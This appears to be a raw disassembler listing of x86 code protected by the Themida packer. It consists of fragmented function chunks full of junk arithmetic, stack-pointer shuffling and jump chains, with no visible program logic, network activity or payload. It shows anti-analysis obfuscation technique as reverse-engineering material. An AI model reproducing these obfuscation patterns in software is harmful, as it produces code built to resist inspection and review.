sub_56B310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_566E19: ; CODE XREF: sub_568E5C-588j pop eax jmp loc_5738AC ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_566E1F: ; CODE XREF: sub_5678CB-5E9Dj mov al, 59h xor al, dl jmp loc_571CF1 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_566E28: ; CODE XREF: sub_566C83+C002j mov ebp, 287C1F3Eh jmp loc_560BC7 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_566E32: ; CODE XREF: sub_572641-8151j mov cl, al pop eax add al, 0D7h push ebx mov bl, 0ACh add bl, 0F9h add al, bl pop ebx sub al, 0A5h sub al, cl add al, 0A5h sub al, 0A5h sub al, 0D7h mov ecx, [esp+4+var_4] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_5614D1 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566078 loc_566E65: ; CODE XREF: sub_566078+44j pop esp shl edx, 7 push ecx jmp loc_573801 ; END OF FUNCTION CHUNK FOR sub_566078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_566E6F: ; CODE XREF: sub_563BCC+1019Dj mov ebx, 71DB0137h sub edi, ebx mov ebx, [esp+0Ch+var_C] push edi push esp jmp loc_560D5B ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_566E80: ; CODE XREF: sub_56B06D+8C85j push 55E4h jmp loc_5728AA ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD38 loc_566E8A: ; CODE XREF: sub_56FD38-4FD5j sub ebx, 164A25C9h add ebx, 0CCEA0958h add eax, ebx mov ebx, [esp+4+var_4] add esp, 4 push 433Dh mov [esp+4+var_4], ebx mov ebx, 4D43AA2h push edi mov edi, 590642AEh and ebx, edi jmp loc_56A70C ; END OF FUNCTION CHUNK FOR sub_56FD38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_566EBB: ; CODE XREF: sub_5685B2+8777j push esi mov esi, 4 sub eax, esi pop esi jmp loc_5708C1 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_566EC9: ; CODE XREF: sub_574A21-CE40j sub eax, 5B4E72DFh push esi mov esi, 105D1C48h add eax, 58726EA7h sub eax, esi sub eax, 58726EA7h pop esi sub eax, 4A120CACh sub eax, 15D92143h jmp loc_561CD4 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_566EF0: ; CODE XREF: sub_575315-11D87j xchg ebx, [esp-4+arg_0] jmp loc_574D82 ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_566EF8: ; CODE XREF: sub_5738F4-124j pop eax jmp loc_565616 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_566EFE: ; CODE XREF: sub_56B1DC-92B1j add esp, 4 jmp loc_56FC3E ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56504F loc_566F09: ; CODE XREF: sub_56504F-5016j pop edi jmp sub_56C295 ; END OF FUNCTION CHUNK FOR sub_56504F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_566F0F: ; CODE XREF: sub_5648C6+C389j shr ebp, 6 shl ebp, 8 not ebp and ebp, 8792C9Dh xor ebp, 32E204A8h jmp loc_5748ED ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_566F28: ; CODE XREF: sub_56F1DB-EF4Aj mov edx, [esp+0] add esp, 4 add esi, 64EF2F4Dh push [esp-0Ch+arg_8] pop ebx push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_571C1E ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1F0 loc_566F4A: ; CODE XREF: sub_56F1F0+6j add ebp, 28AF4588h jmp loc_574CFA ; END OF FUNCTION CHUNK FOR sub_56F1F0 ; =============== S U B R O U T I N E ======================================= sub_566F55 proc near ; CODE XREF: sub_564686+5CADj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00569C73 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D043 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056D402 SIZE 00000012 BYTES sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 jmp loc_569C73 sub_566F55 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_566F67: ; CODE XREF: sub_563DCB+26j push esi mov esi, 4D4F7A32h mov ebx, esi pop esi sub ebx, 493E7836h sub ecx, ebx jmp loc_5603EB ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56749A loc_566F7D: ; CODE XREF: sub_56749A-52A2j xor eax, [esp+10h+var_10] mov esp, [esp+10h+var_10] pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_56137C ; END OF FUNCTION CHUNK FOR sub_56749A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570019 loc_566F8E: ; CODE XREF: sub_570019-7F2Cj push ecx mov ecx, esp jmp loc_5644E1 ; END OF FUNCTION CHUNK FOR sub_570019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_566F96: ; CODE XREF: sub_5687A3-287Cj sub ecx, eax jmp loc_56F893 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5735AA loc_566F9D: ; CODE XREF: sub_5735AA-CD72j rep movsd add esp, [edx+38h] push 5568h mov [esp+0], ebx push 3C0E4252h mov ebx, [esp+4+var_4] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_566823 ; END OF FUNCTION CHUNK FOR sub_5735AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_566FC6: ; CODE XREF: sub_5733CA-61F2j pop ecx add esi, 0FFFFFFFFh not esi push ecx mov ecx, 1 jmp loc_573763 ; END OF FUNCTION CHUNK FOR sub_5733CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_566FD7: ; CODE XREF: sub_570621-B2E0j add edi, 4 push edx push ecx mov ecx, 1313340Fh jmp loc_56329B ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726FB loc_566FE9: ; CODE XREF: sub_5726FB-184j pop [esp+8+var_8] mov esp, [esp+4+var_4] mov [esp+0], ecx push esi mov esi, 7559571Dh shl esi, 3 jmp loc_562784 ; END OF FUNCTION CHUNK FOR sub_5726FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_567000: ; CODE XREF: sub_571890-E664j xchg ebx, [esp+0] mov esp, [esp+0] jmp loc_5638F4 ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56700B: ; CODE XREF: sub_5605BC+11605j mov ecx, 7B22424Dh not ecx neg ecx jmp loc_561773 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_567019: ; CODE XREF: sub_561027+13CCEj xor esi, 762E00FEh xor edi, esi jmp loc_564EC6 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_567026: ; CODE XREF: sub_5666C3+D45Fj push edi mov edi, 37F553EEh xor edi, 54EA5EA8h jmp loc_575110 ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_567037: ; CODE XREF: sub_574AF3-E062j sub eax, 4BDF5B20h add eax, esi add eax, 4BDF5B20h pop esi jmp loc_570834 ; END OF FUNCTION CHUNK FOR sub_574AF3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_567049 proc near ; CODE XREF: sub_57354D+1A8j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00560C7C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00562D29 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00564467 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00565A87 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056912E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005713EE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00574C03 SIZE 00000037 BYTES push ebp mov ebp, esp push edx mov edx, 4 jmp loc_562D29 sub_567049 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_567057: ; CODE XREF: sub_561541+400Ej pop esi xor esi, ecx mov ecx, [esp+4+var_4] add esp, 4 jmp loc_57412F ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- loc_567065: ; CODE XREF: Themida_:0056E923j push edx mov edx, esp push 5855h jmp loc_56A070 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_567072: ; CODE XREF: sub_56CC46-60FBj sub dword ptr [esp+0], 1D2F4F03h pop edx push 6953h mov [esp+0], ebp push 3847h mov [esp+4+var_4], esi push 26923C69h mov esi, [esp+8+var_8] add esp, 4 push ebp mov ebp, 3BBD736Ah jmp loc_56D11C ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_5670A0: ; CODE XREF: sub_574896-D629j add eax, 4F4D4372h mov ebp, [esp-4+arg_0] add esp, 4 add eax, 4 jmp loc_572DEF ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_5670B8: ; CODE XREF: sub_56B11B-12C4j shl edx, 1 push dword ptr [edi+24h] push ecx pop dword ptr [edi+24h] pop ecx sub ecx, 0FFFFFFFFh xor [edi+24h], ecx jmp sub_571C0A ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5670CD: ; CODE XREF: sub_564D26+FD3j push [esp+10h+var_10] pop edx push ecx sub esp, 4 mov [esp+18h+var_18], esp add [esp+18h+var_18], 4 pop ecx push ebp mov ebp, 1B141451h and ebp, 182D3CF4h jmp loc_56CCDB ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_5670EE: ; CODE XREF: sub_565632+60B6j xor edi, esi mov esi, [esp+4+var_4] jmp loc_56DAF0 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B37 loc_5670F8: ; CODE XREF: sub_566B37-3FBEj mov [esp+4+var_4], eax push ebp pop eax mov ebp, [esp+4+var_4] jmp loc_572D08 ; END OF FUNCTION CHUNK FOR sub_566B37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_567105: ; CODE XREF: sub_569DB5+86BFj add esp, 4 add edx, 4 sub edx, 4 xchg edx, [esp+8+var_8] jmp loc_56CD82 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_56711C: ; CODE XREF: sub_570E81-EB57j mov esp, [esp+4+var_4] push eax push edi push 331A2F53h pop edi or edi, 7D3A2AACh push 42C2h mov [esp+8+var_8], esi jmp loc_561BFC ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_56713A: ; CODE XREF: sub_567CF5+503Fj push 7B1Fh mov [esp+8+var_8], ebp jmp loc_56AE7F ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_567147: ; CODE XREF: sub_561541+12BFCj and eax, esi mov esi, [esp+0] push eax jmp loc_563888 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_567152: ; CODE XREF: sub_56651E+963Dj sub edi, 5BBF0CCCh sub edi, 43005ECFh pop ebp sub edi, 4 xor edi, [esp+4+var_4] xor [esp+4+var_4], edi xor edi, [esp+4+var_4] jmp loc_56C7EB ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_567173: ; CODE XREF: sub_561541+10D75j mov ecx, 796617CCh or eax, ecx pop ecx neg eax or eax, 71A264E5h sub eax, 35E46C72h xor eax, 0D15246F9h and esi, eax pop eax shl esi, 2 sub esi, 0F6BBF53Dh jmp loc_56554D ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- loc_56719D: ; CODE XREF: Themida_:0056BA8Cj mov eax, 2 add ecx, eax mov eax, [esp] add esp, 4 xor ecx, [esp] jmp loc_565933 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_5671B2: ; CODE XREF: sub_56F3B2-E974j mov ebx, 0EA82F20h jmp loc_562C1F ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- loc_5671BC: ; CODE XREF: Themida_:005664E8j mov [esp], ecx mov ecx, 40144F2Ch push edi mov edi, 0A95554Bh push edi jmp loc_56999C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B577 loc_5671D0: ; CODE XREF: sub_56B577+54j sub ebp, 35346307h jmp loc_5691DC ; END OF FUNCTION CHUNK FOR sub_56B577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568CD2 loc_5671DB: ; CODE XREF: sub_568CD2+14j pop ebx jmp loc_566DCD ; END OF FUNCTION CHUNK FOR sub_568CD2 ; =============== S U B R O U T I N E ======================================= sub_5671E1 proc near ; DATA XREF: Themida_:0055FE90o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 005617C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056251E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00563A21 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005665B5 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00569772 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056B9DE SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0056D7FB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0057380D SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00573EE4 SIZE 00000025 BYTES mov ax, [esp+0] sub esp, 4 mov [esp+4+var_4], edi push 7914h mov [esp+8+var_8], esp jmp loc_56251E sub_5671E1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726FB loc_5671F8: ; CODE XREF: sub_5726FB+1j mov edi, esp jmp loc_56BEB4 ; END OF FUNCTION CHUNK FOR sub_5726FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5671FF: ; CODE XREF: sub_571F6F-301Bj mov cl, ah mov eax, [esp+0Ch+var_E+2] jmp loc_56BB08 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572D45 loc_567209: ; CODE XREF: sub_572D45-108CCj neg eax push 0ECAh mov [esp+10h+var_10], ebp push ebx mov ebx, 0F650175h xor ebx, 10963D73h push edx mov edx, 480F5094h inc edx inc edx add edx, 892F4A6h xor ebx, edx jmp loc_570250 ; END OF FUNCTION CHUNK FOR sub_572D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_567234: ; CODE XREF: sub_571F6F+2886j shr ecx, 6 push eax mov eax, 71C90975h and eax, 32D541A4h sub eax, 4CE449Ch jmp loc_572287 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_56724C: ; CODE XREF: sub_574DC1-4637j mov ebp, [esp+0Ch+var_C] add esp, 4 push ebp jmp loc_5684E3 ; END OF FUNCTION CHUNK FOR sub_574DC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_567258: ; CODE XREF: sub_574896-EAC0j push 271Dh mov [esp+0], ebp push 4 pop ebp sub eax, 4F4D4372h add eax, ebp jmp loc_5670A0 ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DAB2 loc_567272: ; CODE XREF: sub_56DAB2+6576j mov [esp+8+var_8], esi mov esi, esp jmp loc_566596 ; END OF FUNCTION CHUNK FOR sub_56DAB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_56727C: ; CODE XREF: sub_56F782-DA49j xchg ebp, [esp+4+var_4] jmp loc_5643BF ; END OF FUNCTION CHUNK FOR sub_56F782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_567284: ; CODE XREF: sub_564D26+9C6Dj pop edx pop edx push edi mov edi, 0DA27F7Eh sub edx, edi pop edi jmp loc_560F8D ; --------------------------------------------------------------------------- loc_567294: ; CODE XREF: sub_564D26-354Bj and eax, edx pop edx or edx, eax jmp loc_563231 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_56729E: ; CODE XREF: sub_56E05C-AC18j mov [esp+0], esi jmp loc_56A6EB ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_5672A6: ; CODE XREF: sub_571088-E11Bj pop eax jmp loc_5688B9 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5672AC: ; CODE XREF: sub_56AB5E-47BCj add esp, 4 jmp loc_56C9FA ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_5672B7: ; CODE XREF: sub_563A7F-389Ej add esp, 4 sub edi, esi jmp loc_5654BE ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_5672C1: ; CODE XREF: sub_563FA2+5318j mov eax, ebx pop ebx jmp loc_56D4F1 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_5672C9: ; CODE XREF: sub_563207+2785j pop ebp sub esp, 4 mov [esp+10h+var_10], esi mov esi, 173B9438h xor ebp, esi pop esi push 3F9Bh mov [esp+10h+var_10], ebx jmp loc_562190 ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- loc_5672E5: ; CODE XREF: Themida_:0057315Bj imul cx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 jmp loc_56A1E7 ; --------------------------------------------------------------------------- loc_567304: ; CODE XREF: Themida_:0056BB45j mov ebx, 1F265C09h add ecx, ebx jmp loc_574D06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566078 loc_567310: ; CODE XREF: sub_566078+2A7Bj push ecx mov ecx, esp jmp loc_568F21 ; END OF FUNCTION CHUNK FOR sub_566078 ; --------------------------------------------------------------------------- loc_567318: ; CODE XREF: Themida_:0056B372j pop ebx jmp loc_5754EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56731E: ; CODE XREF: sub_561418+DA42j add esi, 4 xchg esi, [esp+14h+var_14] pop esp push edi jmp loc_568E2D ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56671D loc_56732B: ; CODE XREF: sub_56671D+6j mov [esp+4+var_4], ebx mov ebx, esp push esi mov esi, 70BB7C40h add esi, 8F4483C4h add ebx, esi mov esi, [esp+8+var_8] add esp, 4 push esi push ebp mov ebp, 4 mov esi, ebp pop ebp add ebx, esi jmp loc_5611DC ; END OF FUNCTION CHUNK FOR sub_56671D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_567358: ; CODE XREF: sub_574F16-9EFj sub dl, ch add dl, 0F6h pop ecx and cl, dl pop edx xchg dh, cl xchg ch, dh not ch xchg ch, dh jmp loc_566B50 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56736E: ; CODE XREF: sub_561418+AE0Cj add esi, edx add esi, 3DBF2D46h jmp loc_5623BB ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56637E loc_56737B: ; CODE XREF: sub_56637E+3167j mov eax, [esp+4+var_4] add esp, 4 pop small word ptr [eax] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56637E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_56738C: ; CODE XREF: sub_5620B7-1B97j mov cl, 28h sub esp, 4 mov [esp], edx mov dl, 0C7h sub dl, 6Dh jmp loc_562FBB ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56739E: ; CODE XREF: sub_565632+A21Aj push 382Bh mov [esp+8+var_8], ecx jmp loc_570971 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_5673AB: ; CODE XREF: sub_566DFE+ABB3j shl eax, 4 jmp loc_567A5A ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_5673B3: ; CODE XREF: sub_5620B7+3j add bh, 0BAh push cx mov ch, bh not ch mov bh, ch jmp loc_5653D3 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; =============== S U B R O U T I N E ======================================= sub_5673C3 proc near ; CODE XREF: sub_570E27+41FAj var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0056107E SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00562E8D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056408B SIZE 0000004B BYTES ; FUNCTION CHUNK AT 00564E7D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00566125 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005664C7 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056669E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00567CE8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00568292 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056982C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00569CE4 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056A4E2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A968 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0056AED6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056B0AA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C2FB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056CC73 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005701A7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005712EB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005724C3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00573BA7 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00573E92 SIZE 0000000F BYTES push ebx jmp loc_56669E sub_5673C3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5673C9: ; CODE XREF: Themida_:005734A2j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56CB4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_5673DD: ; CODE XREF: sub_56BD44-9C3Ej push 2540h mov [esp+14h+var_14], edx push ecx mov ecx, 6FF40CCEh and ecx, 6C56A98h shr ecx, 7 neg ecx jmp loc_56DB32 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_5673FB: ; CODE XREF: sub_569B75+789Bj xor eax, 0DA4EE496h push eax pop ebp pop eax sub esi, 3B9424EFh add esi, 66CE3365h sub esi, ebp sub esi, 66CE3365h push edx mov edx, 3B9424EFh add esi, edx pop edx pop ebp jmp loc_56119E ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_567426: ; CODE XREF: sub_567B29+8C04j add esp, 4 mov eax, [esp+0] push edx jmp loc_56D9FC ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ACDE loc_567435: ; CODE XREF: sub_56ACDE+Cj push eax mov eax, 105D57ADh sub edi, eax jmp loc_56BA33 ; END OF FUNCTION CHUNK FOR sub_56ACDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_567442: ; CODE XREF: sub_56D69D-16E4j xchg ebp, [esp+8+var_8] pop esp push esi mov esi, 10ED59D9h or esi, 29932AAh shl esi, 3 jmp loc_572DA4 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_56745A: ; CODE XREF: sub_566117-2A99j mov esi, [esp+8+var_8] push eax mov eax, esp add eax, 4 push edx mov edx, 4 add eax, edx pop edx push eax push [esp+10h+var_C] pop eax pop [esp+10h+var_10] jmp loc_573EAD ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56747C: ; CODE XREF: sub_5678CB+CAEFj push [esp+4+var_4] pop ecx add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+4+var_4] jmp loc_5657E4 ; END OF FUNCTION CHUNK FOR sub_5678CB ; =============== S U B R O U T I N E ======================================= sub_56749A proc near ; DATA XREF: Themida_:0055FED4o var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056017D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056137C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005621DF SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00563D3D SIZE 00000034 BYTES ; FUNCTION CHUNK AT 00564DB3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00566F7D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00569251 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A802 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0057250C SIZE 00000006 BYTES mov ax, [esp+0] sub esp, 4 mov [esp+4+var_4], eax mov eax, esp push edi jmp loc_563D3D sub_56749A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5674AF: ; CODE XREF: sub_57354D-B88Ej mov [esp+4+var_4], ebx add [esp+4+var_4], 5DB21066h pop ebp sub ebp, 5DB21066h push ebp xor [esp+4+var_4], 47252180h jmp loc_571C39 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56513E loc_5674CD: ; CODE XREF: sub_56513E+Cj mov [esp+8+var_8], esi push ebx jmp loc_56B2FA ; END OF FUNCTION CHUNK FOR sub_56513E ; --------------------------------------------------------------------------- loc_5674D6: ; CODE XREF: Themida_:005709DFj xor edx, 30C9932Ch mov ecx, edx pop edx dec ecx sub ecx, 70B1636Dh xor ecx, 0C07C29F7h jmp loc_56E777 ; --------------------------------------------------------------------------- loc_5674F1: ; CODE XREF: Themida_:00565BDAj pop ebx jmp loc_5708FB ; --------------------------------------------------------------------------- 